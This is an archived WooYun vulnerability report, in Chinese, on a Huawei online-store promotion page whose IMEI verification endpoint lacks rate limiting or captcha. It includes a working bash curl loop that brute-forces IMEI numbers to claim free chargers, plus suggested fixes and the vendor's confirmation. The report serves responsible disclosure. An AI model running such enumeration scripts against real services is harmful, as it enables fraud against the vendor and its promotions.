当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157506

漏洞标题:华为商城活动页面可暴力绕过验证

相关厂商:华为技术有限公司

漏洞作者: 路人甲

提交时间:2015-12-02 14:01

修复时间:2016-01-18 09:44

公开时间:2016-01-18 09:44

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-02: 细节已通知厂商并且等待厂商处理中
2015-12-04: 厂商已经确认,细节仅向厂商公开
2015-12-14: 细节向核心白帽子及相关领域专家公开
2015-12-24: 细节向普通白帽子公开
2016-01-03: 细节向实习白帽子公开
2016-01-18: 细节向公众公开

简要描述:

华为商城某活动页面的验证接口未采取必要的保护措施,导致恶意用户可采用自动化方法通过验证。

详细说明:

http://sale.vmall.com/honorbonus.html

网页截图


此处需要输入IMEI验证手机为华为荣耀7,以免费领取快充充电器。
简单验证可得,前端有简单的数字位数验证,输入15位数字才发出验证请求。

12位数字


15位数字


监控发现,网页向后端发送形为
http://www.vmall.com/sale/coupon/checkImei?callback=jsonp1448983333333&imei=123412341234123
的 HTTP GET 请求,回复形如
jsonp1448983333333({"code":"imeiError","success":false})
输入真实华为手机的IMEI后,回复形如
jsonp1448984444444({"success":true})
兑换成功后,对之前可用的IMEI号码,回复形如
jsonp1448985555555({"code":"imeiUsed","success":false})
简单用curl复现,不带任何header,

4.png


可见,此接口本身没有任何的验证措施,可用简单脚本遍历提交处于相似段的手机IMEI码并获取其可用状态。测试代码见下文。
测试过程中发现,服务器nginx做了某些限制,高并发时有一定概率返回503。

漏洞证明:

简单测试代码,找到第一个可用IMEI后退出。

#!/bin/bash
# http://www.vmall.com/sale/coupon/checkImei?callback=jsonp1448982020043&imei=867689021931000
j=1448982020043
i=867689021931000
while [ $i -le 867689021941000 ];
do
result=$(curl -s "http://www.vmall.com/sale/coupon/checkImei?callback=jsonp$j&imei=$i")
echo "$i $result" | grep json || ((--i))
echo "$result" | grep true && echo $i && break
((j++))
((i++))
done


stdout


verification


之后便可以绑定手机号,领取优惠劵、免费购买充电器。

修复方案:

header 检查。
在服务器限制单ip并发、fail2ban。
页面中加入验证码。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-12-04 09:42

厂商回复:

感谢白帽子对华为商城网站的关注,您反馈的漏洞已经提交给开发团队,我们已经在修复。

最新状态:

暂无


漏洞评价:

评价